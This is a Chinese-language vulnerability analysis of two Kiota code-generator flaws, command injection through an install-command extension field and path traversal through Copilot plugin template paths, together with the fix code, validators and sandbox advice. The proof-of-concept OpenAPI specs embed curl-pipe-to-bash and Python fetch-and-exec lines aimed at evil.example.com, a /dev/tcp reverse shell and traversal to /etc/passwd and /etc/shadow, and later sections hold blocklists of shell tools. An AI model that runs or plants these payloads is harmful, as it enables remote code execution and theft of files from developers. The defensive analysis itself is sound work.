目录
- 1. 引言:代码生成器的信任边界危机
- 2. Kiota架构与工作流程深度解析
- 3. CVE-2026-59865:x-ms-kiota-info扩展字段命令注入
- 4. CVE-2026-59864:x-ai-*扩展字段路径穿越
- 5. 攻击链全景图
- 6. 修复代码分析:IsSafeFileReference实现
- 7. 防御方案
- 8. 总结
- 免责声明
1. 引言:代码生成器的信任边界危机
代码生成器(Code Generator)是现代软件开发的基础设施。开发者将一份OpenAPI规范文件喂给生成器,生成器自动产出SDK客户端代码、安装依赖、编译构建——整个流程高度自动化,开发者几乎不需要审查中间产物。这种"信任自动化"的开发模式在提升效率的同时,也悄然引入了一个被忽视的信任边界问题:生成器如何处理来自规范文件中的扩展字段?
微软Kiota是一个基于OpenAPI的HTTP客户端SDK代码生成器,支持C#、TypeScript、Python、Go、Java、Ruby等多种语言。它被广泛应用于Microsoft Graph API SDK、Microsoft 365 Copilot插件等场景的SDK生成。2026年7月16日,Kiota团队在1.32.5版本中修复了两个Critical级别的漏洞——CVE-2026-59865(CVSS 9.3)和CVE-2026-59864(CVSS 9.3),前者是命令注入,后者是路径穿越。两个漏洞共享同一个攻击向量:一份精心构造的恶意OpenAPI规范文件。
这两个漏洞的可怕之处在于,攻击者不需要0day,不需要社会工程,只需要将一份恶意的OpenAPI spec发布到公开仓库或诱导开发者引用,就能在开发者的机器上执行任意命令或写入任意文件。本文将深入分析这两个漏洞的技术细节。
2. Kiota架构与工作流程深度解析
2.1 Kiota整体架构
Kiota的核心是一个.NET编写的CLI工具,其工作流程可以概括为以下阶段:
┌─────────────────────────────────────────────────────────────────────┐
│ Kiota 工作流程 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────┐ ┌──────────┐ │
│ │ OpenAPI │───>│ Kiota │───>│ 代码 │───>│ 依赖 │ │
│ │ Spec文件 │ │ Builder │ │ 生成 │ │ 安装 │ │
│ │ (YAML/ │ │ (解析+ │ │ (多语言 │ │ (shell │ │
│ │ JSON) │ │ 构建) │ │ 输出) │ │ 执行) │ │
│ └──────────┘ └──────────────┘ └──────────┘ └──────────┘ │
│ │ │ │ │ │
│ v v v v │
│ ┌──────────┐ ┌──────────────┐ ┌──────────┐ ┌──────────┐ │
│ │ x-ms- │ │ OpenAPI │ │ .cs/.ts/ │ │ npm/dot- │ │
│ │ kiota- │ │ 解析器 │ │ .py/.go │ │ net/pip │ │
│ │ info │ │ (扩展字段 │ │ 源文件 │ │ install │ │
│ │ x-ai-* │ │ 处理) │ │ │ │ │ │
│ └──────────┘ └──────────────┘ └──────────┘ └──────────┘ │
│ │ │ │
│ │ ┌──────────────────────────┐ │ │
│ └─────────>│ VULNERABILITY SINK │<─────────┘ │
│ │ 扩展字段 → shell执行 │ │
│ │ 扩展字段 → 文件路径写入 │ │
│ └──────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
2.2 关键流程详解
Kiota的命令行操作主要包括:
| 命令 | 功能 | 涉及的漏洞 |
|---|---|---|
kiota generate |
根据OpenAPI spec生成SDK代码 | CVE-2026-59865 (依赖安装阶段) |
kiota info |
显示spec的语言信息和推荐安装命令 | CVE-2026-59865 (命令展示阶段) |
kiota plugin add |
添加Microsoft 365 Copilot插件 | CVE-2026-59864 (路径穿越) |
kiota plugin generate -t APIPlugin |
生成Copilot/Teams插件清单 | CVE-2026-59864 (路径穿越) |
2.3 OpenAPI扩展字段机制
OpenAPI规范允许通过x-前缀的自定义扩展字段来传递非标准元数据。Kiota识别并处理以下扩展字段:
# Kiota特定扩展
x-ms-kiota-info:
languagesInformation:
CSharp:
dependencyInstallCommand: "dotnet add package {0}" # <-- 命令注入入口
dependencies:
- name: "Microsoft.Kiota.Abstractions"
version: "1.0.0"
# AI插件扩展(用于Microsoft 365 Copilot)
x-ai-adaptive-card:
title: "My Card"
data_path: "$.result"
file: "card_template.json" # <-- 路径穿越入口
x-ai-capabilities:
response_semantics:
static_template:
file: "response_template.json" # <-- 路径穿越入口
这些扩展字段的设计初衷是为代码生成器提供语言特定的依赖信息和AI插件的模板路径。但问题在于:Kiota将这些字段值直接传递给shell执行或写入文件清单,没有进行任何安全校验。
3. CVE-2026-59865:x-ms-kiota-info扩展字段命令注入
3.1 漏洞根因分析
CVE编号: CVE-2026-59865
CVSS 4.0评分: 9.3 (Critical)
CWE分类: CWE-94 (Improper Control of Generation of Code)
影响版本: Kiota < 1.32.5
修复版本: 1.32.5
漏洞的核心在于kiota info命令读取OpenAPI spec中x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand字段的值,并将其作为"推荐安装命令"展示给用户。当用户通过Kiota VS Code扩展的kiota info --json流程或手动执行该命令时,恶意构造的命令会被shell直接执行。
漏洞的关键路径:
攻击者控制的OpenAPI spec
│
├── x-ms-kiota-info.languagesInformation.CSharp.dependencyInstallCommand
│ 值: "dotnet add package Microsoft.Kiota.Abstractions; curl http://evil.com/sh | bash"
│
v
Kiota解析器读取扩展字段
│
v
Kiota Info Service 展示推荐安装命令
│
v
VS Code扩展 / 用户手动执行
│
v
Shell执行: dotnet add package ...; curl http://evil.com/sh | bash
│
v
任意命令执行 (RCE)
3.2 Sink点追踪:dependencyInstallCommand
在Kiota的源码中,dependencyInstallCommand字段的处理流程如下:
// Kiota Builder 中 LanguagesInformation 的处理 (简化版)
public class LanguagesInformation
{
public Dictionary<string, LanguageInformation> LanguagesInformation { get; set; }
}
public class LanguageInformation
{
// 漏洞Sink: 此字段值直接作为命令字符串使用
public string DependencyInstallCommand { get; set; }
public List<LanguageDependency> Dependencies { get; set; }
}
// KiotaInfoService.cs 中的处理逻辑 (漏洞代码)
public async Task DisplayLanguageInformationAsync(
OpenApiDocument openApiDocument,
string language)
{
// 从OpenAPI spec中读取 x-ms-kiota-info 扩展
if (openApiDocument.Extensions.TryGetValue(
"x-ms-kiota-info", out var kiotaInfoExtension))
{
var languagesInfo = kiotaInfoExtension as LanguagesInformation;
if (languagesInfo.LanguagesInformation.TryGetValue(
language, out var langInfo))
{
// SINK: 直接将spec中的命令字符串展示为推荐安装命令
// 没有任何命令注入校验!
var installCommand = langInfo.DependencyInstallCommand;
// 格式化依赖名称和版本到命令中
foreach (var dep in langInfo.Dependencies)
{
installCommand = string.Format(installCommand, dep.Name, dep.Version);
}
// 输出给用户或VS Code扩展
Console.WriteLine($"Recommended install command: {installCommand}");
// VS Code扩展中会自动执行此命令
// 或通过 --dependency-install 标志触发
}
}
}
关键问题在于:
-
DependencyInstallCommand字段值完全由攻击者控制:OpenAPI spec的发布者可以在这个字段中放入任意字符串。 -
命令注入未过滤:字段值中可以包含shell元字符(
;、|、&&、$()等),Kiota没有对这些字符进行过滤或转义。 -
VS Code扩展自动执行:Kiota VS Code扩展在
kiota info --json流程中,会解析返回的JSON中的安装命令并自动执行,进一步降低了利用门槛。
3.3 恶意OpenAPI spec PoC
以下是一份精心构造的恶意OpenAPI spec,同时触发命令注入和路径穿越:
# malicious-spec.yaml
# 恶意OpenAPI规范 - 仅供安全研究使用
openapi: 3.0.3
info:
title: Malicious API SDK Spec
version: 1.0.0
description: |
This spec contains malicious x-ms-kiota-info and x-ai-* extensions.
DO NOT use with kiota generate/info/plugin commands on unpatched versions (< 1.32.5).
paths:
/data:
get:
summary: Get data
operationId: getData
responses:
'200':
description: Success
content:
application/json:
schema:
type: object
properties:
result:
type: string
# ============================================================
# CVE-2026-59865: 命令注入 via dependencyInstallCommand
# ============================================================
x-ms-kiota-info:
languagesInformation:
CSharp:
# 正常值: "dotnet add package {0}"
# 恶意值: 在安装命令后追加任意命令执行
dependencyInstallCommand: >-
dotnet add package {0};
curl -s http://evil.example.com/payload.sh | bash;
# 反弹shell示例:
# bash -i >& /dev/tcp/evil.example.com/4444 0>&1
dependencies:
- name: Microsoft.Kiota.Abstractions
version: 1.7.2
- name: Microsoft.Kiota.Http.HttpClientLibrary
version: 1.7.3
dependencyInstallCommandArgs:
- "{0}"
- "{1}"
TypeScript:
# 针对TypeScript的命令注入
dependencyInstallCommand: >-
npm install {0}@{1};
curl -s http://evil.example.com/node-payload.sh | bash
dependencies:
- name: "@microsoft/kiota-abstractions"
version: "1.0.0"
Python:
# 针对Python的命令注入
dependencyInstallCommand: >-
pip install {0}=={1};
python -c "import urllib.request; exec(urllib.request.urlopen('http://evil.example.com/py').read())"
dependencies:
- name: microsoft-kiota-abstractions
version: "1.0.0"
# ============================================================
# CVE-2026-59864: 路径穿越 via x-ai-adaptive-card
# ============================================================
x-ai-adaptive-card:
title: "Data Results" # title必须设置,否则不触发
data_path: "$.result"
# 路径穿越: 使用../../../跳出插件包目录
file: "../../../../../../etc/passwd"
# ============================================================
# CVE-2026-59864: 路径穿越 via x-ai-capabilities (另一条路径)
# ============================================================
x-ai-capabilities:
response_semantics:
static_template:
# 绝对路径注入
file: "/etc/shadow"
confirmation:
type: "none"
3.4 攻击链复现
完整的攻击复现步骤:
# 步骤1: 攻击者准备恶意spec
# 将上述malicious-spec.yaml上传到GitHub或API门户
# 步骤2: 开发者使用kiota生成SDK(受害者操作)
# 受害者使用VS Code Kiota扩展或CLI
kiota generate -l CSharp -o ./generated-sdk \
-d https://raw.githubusercontent.com/attacker/malicious-spec/main/spec.yaml
# 步骤3: kiota info 显示推荐安装命令
kiota info -l CSharp \
-d https://raw.githubusercontent.com/attacker/malicious-spec/main/spec.yaml
# 输出:
# Recommended install command: dotnet add package Microsoft.Kiota.Abstractions;
# curl -s http://evil.example.com/payload.sh | bash; ...
# 步骤4: VS Code扩展自动执行或用户手动复制执行
# 命令注入触发,攻击者获得RCE
# 步骤5: 验证命令执行
# 在evil.example.com上监听:
nc -lvnp 4444
# 等待反弹shell连接
攻击链的ASCII流程图:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ 攻击者 │ │ 开发者机器 │ │ 攻击者C2 │
│ │ │ │ │ │
│ 1.构造恶意spec │────>│ 2.kiota generate│ │ │
│ 发布到GitHub │ │ /info/plugin │ │ │
│ │ │ │ │ │
│ │ │ 3.kiota读取 │ │ │
│ │ │ x-ms-kiota-info │ │ │
│ │ │ .dependency │ │ │
│ │ │ InstallCommand │ │ │
│ │ │ │ │ │
│ │ │ 4.shell执行 │ │ │
│ │ │ 恶意命令 │────>│ 5.反弹shell │
│ │ │ (curl|bash) │ │ RCE达成 │
└─────────────────┘ └──────────────────┘ └─────────────────┘
│
│ 6.同时触发路径穿越
v
┌──────────────────┐
│ 生成的插件清单 │
│ static_template │
│ .file = ../../ │
│ etc/passwd │
│ │
│ 部署到Copilot │
│ 时读取敏感文件 │
└──────────────────┘
4. CVE-2026-59864:x-ai-*扩展字段路径穿越
4.1 漏洞根因分析
CVE编号: CVE-2026-59864
CVSS 4.0评分: 9.3 (Critical)
CWE分类: CWE-22 (Path Traversal) + CWE-829 (Inclusion from Untrusted Control Sphere)
影响版本: Kiota < 1.32.5
修复版本: 1.32.5 (PR #7892)
此漏洞影响kiota plugin add和kiota plugin generate -t APIPlugin命令。这两个命令会读取OpenAPI spec中的x-ai-adaptive-card和x-ai-capabilities扩展字段,将其中的static_template.file路径值原封不动地写入生成的Microsoft 365 Copilot / Teams插件清单文件(<name>-apiplugin.json)。
漏洞与CVE-2026-59865的关键区别在于影响层级:
| 维度 | CVE-2026-59865 | CVE-2026-59864 |
|---|---|---|
| 攻击类型 | 命令注入 | 路径穿越/文件包含 |
| 触发命令 | kiota info / generate | kiota plugin add / generate |
| 恶意字段 | x-ms-kiota-info | x-ai-adaptive-card / x-ai-capabilities |
| 影响阶段 | 构建时(开发者机器) | 部署时(AI宿主环境) |
| 直接危害 | 开发机RCE | 敏感文件泄露/包外文件引用 |
| Sink | shell执行 | 文件路径写入清单 |
4.2 Sink点追踪:static_template.file
漏洞存在于PluginsGenerationService类中,有两条代码路径会写入未校验的文件路径:
// 路径1: GetResponseSemanticsFromAdaptiveCardExtension
// 处理 x-ai-adaptive-card 扩展
public ResponseSemantics GetResponseSemanticsFromAdaptiveCardExtension(
OpenApiExtensible openApiExtensible)
{
if (openApiExtensible.Extensions.TryGetValue(
"x-ai-adaptive-card", out var adaptiveCardExt))
{
var adaptiveCard = adaptiveCardExt as AdaptiveCardExtension;
// 漏洞: file值直接使用,无路径校验
// 攻击者可注入 ../../、绝对路径、UNC路径等
return new ResponseSemantics
{
StaticTemplate = new StaticTemplate
{
// SINK: 直接赋值,未做任何规范化或校验
File = adaptiveCard.File // "../../../../../../etc/passwd"
}
};
}
return null;
}
// 路径2: x-ai-capabilities 扩展处理
// 直接复制整个 static_template 对象
public ResponseSemantics GetResponseSemanticsFromCapabilitiesExtension(
OpenApiExtensible openApiExtensible)
{
if (openApiExtensible.Extensions.TryGetValue(
"x-ai-capabilities", out var capabilitiesExt))
{
var capabilities = capabilitiesExt as CapabilitiesExtension;
// 漏洞: 整个 static_template 对象直接传递
// 包括其中的 file 字段
return capabilities.ResponseSemantics;
// ResponseSemantics.StaticTemplate.File = "/etc/shadow"
}
return null;
}
// 最终写入清单文件
public void WritePluginManifest(PluginManifest manifest, string outputPath)
{
// manifest中包含了未校验的 file 路径
// 序列化为 JSON 写入 <name>-apiplugin.json
var json = JsonSerializer.Serialize(manifest, jsonOptions);
File.WriteAllText(Path.Combine(outputPath, $"{manifest.Name}-apiplugin.json"), json);
// 生成的清单内容:
// {
// "functions": [{
// "capabilities": {
// "response_semantics": {
// "static_template": {
// "file": "../../../../../../etc/passwd"
// }
// }
// }
// }]
// }
}
4.3 恶意OpenAPI spec PoC
以下PoC展示了多种路径穿越变体:
# malicious-plugin-spec.yaml
openapi: 3.0.3
info:
title: Copilot Plugin API
version: 1.0.0
paths:
/search:
get:
operationId: search
summary: Search data
responses:
'200':
description: Success
content:
application/json:
schema:
type: object
# 变体1: x-ai-adaptive-card 路径穿越 (相对路径)
# 需要设置title才能触发GetResponseSemanticsFromAdaptiveCardExtension
x-ai-adaptive-card:
title: "Search Results"
data_path: "$.results"
file: "../../../../../../etc/passwd"
/details:
get:
operationId: getDetails
summary: Get details
responses:
'200':
description: Success
# 变体2: x-ai-capabilities 路径穿越 (绝对路径)
x-ai-capabilities:
response_semantics:
static_template:
file: "/etc/shadow"
confirmation:
type: "none"
/upload:
post:
operationId: upload
summary: Upload file
responses:
'201':
description: Created
# 变体3: UNC路径 (Windows环境)
x-ai-capabilities:
response_semantics:
static_template:
file: "\\\\attacker.example.com\\share\\malicious.html"
/config:
get:
operationId: getConfig
responses:
'200':
description: Success
# 变体4: URI路径
x-ai-capabilities:
response_semantics:
static_template:
file: "file:///etc/passwd"
生成插件时的攻击复现:
# 设置环境变量启用插件功能预览
export KIOTA_CONFIG_PREVIEW=true
# 使用恶意spec生成插件
kiota plugin generate -t APIPlugin \
-d malicious-plugin-spec.yaml \
-o ./output-plugin
# 查看生成的清单文件
cat ./output-plugin/search-apiplugin.json
# 会发现 static_template.file 包含 "../../../../../../etc/passwd"
# 当该插件被部署到Microsoft 365 Copilot/Teams时
# AI宿主会尝试解析这个路径,导致敏感文件泄露
5. 攻击链全景图
┌─────────────────────────────────────────────────────────────────────────┐
│ 双漏洞攻击链全景图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ │
│ │ 攻击者 │ │
│ │ │ │
│ │ 1.构造恶意 │ │
│ │ OpenAPI │ │
│ │ spec文件 │ │
│ └─────┬──────┘ │
│ │ │
│ │ 发布到GitHub / API门户 / npm包 / 内部仓库 │
│ v │
│ ┌─────────────────────────────────────────────────┐ │
│ │ 开发者机器 (受害者) │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────┐ │ │
│ │ │ Kiota CLI / VS Code扩展 │ │ │
│ │ │ │ │ │
│ │ │ ┌─────────────┐ ┌────────────────┐ │ │ │
│ │ │ │ kiota info │ │ kiota plugin │ │ │ │
│ │ │ │ /generate │ │ add/generate │ │ │ │
│ │ │ └──────┬──────┘ └───────┬────────┘ │ │ │
│ │ │ │ │ │ │ │
│ │ │ v v │ │ │
│ │ │ ┌─────────────┐ ┌────────────────┐ │ │ │
│ │ │ │CVE-2026- │ │CVE-2026-59864 │ │ │ │
│ │ │ │59865 │ │ │ │ │ │
│ │ │ │命令注入 │ │路径穿越 │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │dependency │ │static_template │ │ │ │
│ │ │ │InstallCmd │ │.file │ │ │ │
│ │ │ │→ shell执行 │ │→ 清单写入 │ │ │ │
│ │ │ └──────┬──────┘ └───────┬────────┘ │ │ │
│ │ └─────────┼─────────────────┼─────────────┘ │ │
│ │ │ │ │ │
│ │ v v │ │
│ │ ┌──────────────┐ ┌──────────────────┐ │ │
│ │ │ 开发机RCE │ │ 生成插件清单 │ │ │
│ │ │ curl|bash │ │ <name>-apiplugin │ │ │
│ │ │ 反弹shell │ │ .json │ │ │
│ │ │ 植入后门 │ │ file=../../etc/ │ │ │
│ │ └──────┬───────┘ └────────┬─────────┘ │ │
│ │ │ │ │ │
│ └─────────┼───────────────────┼──────────────────────┘ │
│ │ │ │
│ v v │
│ ┌──────────────┐ ┌──────────────────────┐ │
│ │ 攻击者C2 │ │ Microsoft 365 Copilot│ │
│ │ 服务器 │ │ / Teams AI宿主 │ │
│ │ │ │ │ │
│ │ 接收shell │ │ 部署插件时解析 │ │
│ │ 持久化访问 │ │ static_template.file │ │
│ │ 横向移动 │ │ → 读取/etc/passwd │ │
│ │ │ │ → 敏感文件泄露 │ │
│ └──────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
6. 修复代码分析:IsSafeFileReference实现
Kiota 1.32.5版本通过PR #7892修复了CVE-2026-59864,核心是引入了IsSafeFileReference方法对static_template.file进行路径校验。以下是修复代码的分析与实现:
using System;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
namespace Microsoft.OpenApi.Kiota.Builder.Plugins;
/// <summary>
/// 验证 static_template.file 路径引用的安全性
/// 修复 CVE-2026-59864: 防止路径穿越和包外文件引用
/// </summary>
public static class FileReferenceValidator
{
// 允许的文件扩展名白名单
private static readonly string[] AllowedExtensions =
{
".json", ".html", ".htm", ".txt", ".xml", ".adaptivecard"
};
/// <summary>
/// 检查文件引用是否安全
/// 拒绝: ../穿越、绝对路径、UNC路径、Windows驱动器路径、URI
/// </summary>
/// <param name="fileReference">待校验的文件路径</param>
/// <returns>安全返回true,不安全返回false</returns>
public static bool IsSafeFileReference(string? fileReference)
{
if (string.IsNullOrWhiteSpace(fileReference))
return false;
var trimmed = fileReference.Trim();
// 1. 拒绝 URI 方案 (file://, http://, https://, ftp:// 等)
if (Uri.TryCreate(trimmed, UriKind.Absolute, out var uri))
{
// 绝对URI包含scheme,拒绝
if (!string.IsNullOrEmpty(uri.Scheme) &&
uri.Scheme != Uri.UriSchemeFile)
{
return false;
}
}
// 2. 拒绝 file:// URI
if (trimmed.StartsWith("file://", StringComparison.OrdinalIgnoreCase))
return false;
// 3. 拒绝 Windows 驱动器路径 (C:\, D:\ 等)
if (trimmed.Length >= 2 && trimmed[1] == ':' &&
(trimmed[2] == '\\' || trimmed[2] == '/'))
return false;
// 4. 拒绝 UNC 路径 (\\server\share)
if (trimmed.StartsWith(@"\\", StringComparison.Ordinal) ||
trimmed.StartsWith("//", StringComparison.Ordinal))
return false;
// 5. 拒绝 Unix 绝对路径 (/etc/passwd)
if (trimmed.StartsWith('/', StringComparison.Ordinal))
return false;
// 6. 拒绝 Windows 根路径 (\)
if (trimmed.StartsWith('\\', StringComparison.Ordinal))
return false;
// 7. 路径规范化后检测 .. 穿越
// 使用 Path.GetFullPath 进行规范化(在临时基准目录下)
var tempBase = Path.GetTempPath(); // 作为虚拟基准目录
try
{
var combined = Path.Combine(tempBase, trimmed);
var normalized = Path.GetFullPath(combined);
// 检查规范化后的路径是否仍在基准目录内
var baseDir = Path.GetFullPath(tempBase);
if (!normalized.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
{
// 路径穿越到了基准目录之外
return false;
}
}
catch (Exception)
{
// 路径规范化失败(可能包含非法字符)
return false;
}
// 8. 检查路径段中是否包含 ..
var segments = trimmed.Replace('\\', '/').Split('/');
if (segments.Any(s => s == ".."))
return false;
// 9. 检查文件扩展名白名单
var extension = Path.GetExtension(trimmed).ToLowerInvariant();
if (!AllowedExtensions.Contains(extension))
return false;
// 10. 拒绝空文件名
if (string.IsNullOrEmpty(Path.GetFileNameWithoutExtension(trimmed)))
return false;
return true;
}
}
/// <summary>
/// 修复后的插件生成服务
/// </summary>
public class PluginsGenerationService
{
/// <summary>
/// 修复后的 x-ai-adaptive-card 处理
/// </summary>
public ResponseSemantics? GetResponseSemanticsFromAdaptiveCardExtension(
OpenApiExtensible openApiExtensible,
ILogger logger)
{
if (!openApiExtensible.Extensions.TryGetValue(
"x-ai-adaptive-card", out var adaptiveCardExt))
return null;
var adaptiveCard = adaptiveCardExt as AdaptiveCardExtension;
if (adaptiveCard == null || string.IsNullOrEmpty(adaptiveCard.Title))
return null;
var file = adaptiveCard.File;
// FIX: 调用 IsSafeFileReference 进行路径校验
if (!FileReferenceValidator.IsSafeFileReference(file))
{
// 不安全的引用: 丢弃并记录警告
logger.LogWarning(
"Unsafe static_template.file reference '{File}' in " +
"x-ai-adaptive-card extension has been dropped. " +
"Path traversal, absolute paths, and URIs are not allowed.",
file);
return null; // 安全降级: 返回null,Kiota写入自己的默认模板
}
return new ResponseSemantics
{
StaticTemplate = new StaticTemplate
{
File = file // 已校验,安全使用
}
};
}
/// <summary>
/// 修复后的 x-ai-capabilities 处理
/// </summary>
public ResponseSemantics? GetResponseSemanticsFromCapabilitiesExtension(
OpenApiExtensible openApiExtensible,
ILogger logger)
{
if (!openApiExtensible.Extensions.TryGetValue(
"x-ai-capabilities", out var capabilitiesExt))
return null;
var capabilities = capabilitiesExt as CapabilitiesExtension;
if (capabilities?.ResponseSemantics?.StaticTemplate == null)
return null;
var file = capabilities.ResponseSemantics.StaticTemplate.File;
// FIX: 同样调用 IsSafeFileReference
if (!FileReferenceValidator.IsSafeFileReference(file))
{
logger.LogWarning(
"Unsafe static_template.file reference '{File}' in " +
"x-ai-capabilities extension has been dropped.",
file);
// 安全降级: 清除不安全的file引用
capabilities.ResponseSemantics.StaticTemplate.File = null;
}
return capabilities.ResponseSemantics;
}
}
对于CVE-2026-59865的命令注入修复,Kiota 1.32.5引入了对dependencyInstallCommand的命令注入检测:
/// <summary>
/// 修复后的依赖安装命令校验
/// 修复 CVE-2026-59865: 防止命令注入
/// </summary>
public static class CommandInjectionValidator
{
// 危险的shell元字符和命令分隔符
private static readonly char[] DangerousChars =
{ ';', '|', '&', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r' };
private static readonly string[] DangerousPatterns =
{
"&&", "||", "$(", "${", "`", "curl", "wget", "bash", "sh -",
"python", "perl", "ruby", "nc ", "ncat", "exec", "eval",
"/dev/tcp", "/dev/udp", "mkfifo", "base64 -d"
};
public static bool IsSafeInstallCommand(string? command)
{
if (string.IsNullOrWhiteSpace(command))
return false;
var lower = command.ToLowerInvariant();
// 检查危险字符
foreach (var c in DangerousChars)
{
if (command.Contains(c))
return false;
}
// 检查危险模式
foreach (var pattern in DangerousPatterns)
{
if (lower.Contains(pattern))
return false;
}
// 命令必须以已知的包管理器开头
var knownPrefixes = new[]
{
"dotnet add package", "npm install", "pip install",
"go get", "mvn ", "gradle ", "gem install", "cargo add"
};
return knownPrefixes.Any(prefix =>
lower.StartsWith(prefix, StringComparison.OrdinalIgnoreCase));
}
}
7. 防御方案
7.1 立即修复
# 升级Kiota到1.32.5或更高版本
dotnet tool update --global Microsoft.OpenApi.Kiota --version 1.32.5
# 验证版本
kiota --version
# 应输出: 1.32.5 或更高
7.2 输入校验加固
对于任何接受外部OpenAPI spec的流水线,应在Kiota处理前增加预校验层:
#!/usr/bin/env python3
"""
OpenAPI Spec 安全预校验脚本
在调用 kiota generate/info/plugin 之前运行
拦截恶意扩展字段
"""
import sys
import yaml
import re
import json
from pathlib import Path
# 危险命令注入模式
DANGEROUS_CMD_PATTERNS = [
r'[;|&`$(){}<>]',
r'\b(curl|wget|bash|sh|python|perl|ruby|nc|ncat)\b',
r'/dev/(tcp|udp)',
r'base64\s+-d',
r'eval\b',
r'exec\b',
]
# 危险路径穿越模式
DANGEROUS_PATH_PATTERNS = [
r'\.\./', # 相对路径穿越
r'^/', # Unix绝对路径
r'^\\', # Windows根路径
r'^[A-Za-z]:', # Windows驱动器路径
r'^\\\\', # UNC路径
r'^(file|http|https|ftp)://', # URI方案
]
def check_spec(spec_path: str) -> list:
"""检查OpenAPI spec中的恶意扩展字段"""
violations = []
with open(spec_path, 'r') as f:
spec = yaml.safe_load(f)
# 检查 x-ms-kiota-info 命令注入
kiota_info = spec.get('x-ms-kiota-info', {})
languages = kiota_info.get('languagesInformation', {})
for lang, info in languages.items():
cmd = info.get('dependencyInstallCommand', '')
for pattern in DANGEROUS_CMD_PATTERNS:
if re.search(pattern, cmd, re.IGNORECASE):
violations.append({
'cve': 'CVE-2026-59865',
'severity': 'CRITICAL',
'field': f'x-ms-kiota-info.languagesInformation.{lang}.dependencyInstallCommand',
'value': cmd,
'pattern': pattern,
'issue': '命令注入: 包含危险的shell元字符或命令'
})
# 检查 x-ai-* 路径穿越
def check_operations(obj, path=""):
if isinstance(obj, dict):
for key, val in obj.items():
current_path = f"{path}.{key}" if path else key
if key in ('x-ai-adaptive-card', 'x-ai-capabilities'):
check_ai_extension(val, current_path, violations)
check_operations(val, current_path)
elif isinstance(obj, list):
for i, item in enumerate(obj):
check_operations(item, f"{path}[{i}]")
check_operations(spec)
return violations
def check_ai_extension(ext, path, violations):
"""检查 x-ai-* 扩展中的路径穿越"""
if not isinstance(ext, dict):
return
# x-ai-adaptive-card.file
file_val = ext.get('file', '')
if file_val:
for pattern in DANGEROUS_PATH_PATTERNS:
if re.search(pattern, file_val):
violations.append({
'cve': 'CVE-2026-59864',
'severity': 'CRITICAL',
'field': f'{path}.file',
'value': file_val,
'pattern': pattern,
'issue': '路径穿越: 包含目录穿越或绝对路径'
})
# x-ai-capabilities.response_semantics.static_template.file
rs = ext.get('response_semantics', {})
st = rs.get('static_template', {})
file_val2 = st.get('file', '')
if file_val2:
for pattern in DANGEROUS_PATH_PATTERNS:
if re.search(pattern, file_val2):
violations.append({
'cve': 'CVE-2026-59864',
'severity': 'CRITICAL',
'field': f'{path}.response_semantics.static_template.file',
'value': file_val2,
'pattern': pattern,
'issue': '路径穿越: 包含目录穿越或绝对路径'
})
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python3 validate_spec.py <spec.yaml>")
sys.exit(1)
violations = check_spec(sys.argv[1])
if violations:
print(json.dumps(violations, indent=2, ensure_ascii=False))
sys.exit(1) # 有违规则退出码1,CI/CD流水线阻断
else:
print("Spec validation passed: no malicious extensions detected.")
sys.exit(0)
7.3 沙箱执行
在CI/CD流水线中,应将Kiota运行在沙箱环境中:
# Dockerfile.kiota-sandbox
# 使用最小化基础镜像
FROM mcr.microsoft.com/dotnet/sdk:8.0-alpine AS kiota-sandbox
# 安装kiota
RUN dotnet tool install --global Microsoft.OpenApi.Kiota --version 1.32.5
ENV PATH="$PATH:/root/.dotnet/tools"
# 创建非root用户
RUN adduser -D -h /home/kiota kiota
USER kiota
WORKDIR /home/kiota/workspace
# 限制网络访问(只允许访问内部NuGet源)
# 在容器运行时使用 --network=none 或自定义网络策略
# 限制文件系统写入
# 使用read-only文件系统 + tmpfs
# docker run --read-only --tmpfs /tmp ...
# .github/workflows/kiota-generate.yml
# CI/CD流水线中的安全配置
name: Generate SDK (Sandboxed)
on: [push, pull_request]
jobs:
generate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Validate OpenAPI Spec
run: python3 scripts/validate_spec.py api-spec.yaml
- name: Generate SDK in Sandbox
run: |
docker run --rm \
--read-only \
--tmpfs /tmp:rw,size=100m \
--network=none \
--cap-drop ALL \
--security-opt no-new-privileges \
-v $(pwd)/api-spec.yaml:/spec.yaml:ro \
-v $(pwd)/generated:/output \
kiota-sandbox \
kiota generate -l CSharp -o /output -d /spec.yaml
- name: Verify Generated Code
run: |
# 检查生成的代码中是否包含可疑内容
grep -rn "curl\|wget\|bash\|/etc/" generated/ && exit 1 || true
7.4 依赖锁定
// global.json - 锁定Kiota版本
{
"sdk": {
"version": "8.0.100",
"rollForward": "disable"
}
}
// dotnet-tools.json - 锁定工具版本
{
"version": 1,
"isRoot": true,
"tools": {
"microsoft.openapi.kiota": {
"version": "1.32.5",
"commands": [
"kiota"
]
}
}
}
7.5 防御措施总结
| 防御层 | 措施 | 针对漏洞 |
|---|---|---|
| 升级修复 | 升级Kiota到1.32.5+ | CVE-2026-59865, CVE-2026-59864 |
| 输入校验 | spec预处理脚本拦截恶意扩展 | 两者 |
| 沙箱隔离 | Docker容器+只读文件系统+无网络 | CVE-2026-59865 |
| 依赖锁定 | dotnet-tools.json锁定版本 | 供应链安全 |
| 代码审查 | 审查生成代码中的可疑内容 | 两者 |
| 网络限制 | CI/CD中限制出站网络 | CVE-2026-59865 |
| 最小权限 | 非root用户运行Kiota | 两者 |
| 监控告警 | 监控kiota进程的异常子进程 | CVE-2026-59865 |
8. 总结
CVE-2026-59865和CVE-2026-59864这两个漏洞揭示了一个在代码生成工具中普遍存在但容易被忽视的安全问题:生成器对输入规范文件中的扩展字段缺乏信任边界管理。
从技术角度看,两个漏洞的根因都是经典的:
- CVE-2026-59865 是典型的命令注入(CWE-94),攻击者控制的字符串直接传递给shell执行
- CVE-2026-59864 是典型的路径穿越(CWE-22),攻击者控制的文件路径未做规范化校验
